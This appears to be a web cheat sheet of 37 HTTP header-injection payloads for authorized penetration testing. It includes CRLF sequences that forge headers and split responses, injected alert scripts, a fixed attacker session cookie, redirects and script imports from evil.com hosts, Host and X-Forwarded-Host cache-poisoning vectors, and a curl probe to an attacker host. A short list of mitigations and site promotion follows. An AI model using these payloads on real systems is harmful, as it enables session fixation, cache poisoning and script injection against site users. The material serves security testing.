CRLF and HTTP response-splitting injection: breaking out of header values to forge headers, set-cookie session fixation, host-header poisoning, and cache-poisoning vectors during authorized testing. (37 payloads)
%0d%0aX-Injected-Header: pwned%0aX-Injected: 1
X-Injected: 1%E5%98%8A%E5%98%8D%25%30%64%25%30%61%0d%0a%09X-Injected: 1%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(document.domain)</script>%0d%0a%0d%0a<html><body><script>alert(1)</script></body></html>%0d%0aSet-Cookie:%20sessionid=attacker_fixed_value%0d%0aLocation:%20https://evil.example%0d%0a%0d%0a%0d%0aRefresh:%200;url=javascript:alert(1)%0d%0aContent-Security-Policy:%20script-src%20'unsafe-inline'%20*Host: evil-attacker.comX-Forwarded-Host: evil-attacker.comHost: target.com
X-Forwarded-Host: evil.comHost: target.com:@evil.comX-Forwarded-Host: evil.com
X-Forwarded-Port: 1337Host: localhostHost: target.com.evil.comGET /?cb=rand123 HTTP/1.1
X-Forwarded-Host: canary.attacker.comX-Forwarded-Host: evil.com (unkeyed)X-Forwarded-Host: evil.com"><script>import('//evil.com/x.js')</script>X-Forwarded-Scheme: http + X-Forwarded-Host: evil.comX-Forwarded-Host: evil.com%0d%0aSet-Cookie:%20poison=1X-Metadata: AAAA...[~8KB]...AAAAParam Miner (Burp): Guess headers / Guess cookiescurl -s -D - 'https://t/' -H 'X-Forwarded-Host: probe.attacker.com' -o /dev/nullPragma: no-cache / Cache-Control: no-cacheRead the response: X-Cache / CF-Cache-Status / Age / VarySet-Cookie: foo=bar; SameSite=None; Secure ← check it's NOT cachedsmuggler.py / h2csmuggler — pair CRLF testing with desyncStrip/reject \r and \n in all header-bound user inputBuild absolute URLs from a server-side allowlist, never from HostConfigure trusted proxies; ignore forwarded headers from clientsAdd unkeyed-but-reflected inputs to the cache key (or Vary)Validate Host against an exact allowlist; default-deny unknown hostsSet restrictive Cache-Control on authenticated/dynamic responsesLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 37 Header Injection payloads for testing HTTP Header Injection vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or open the CRLF Injection generator to build customized Header Injection variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all Header Injection payloads are completely free, with no account required. Everything runs in your browser.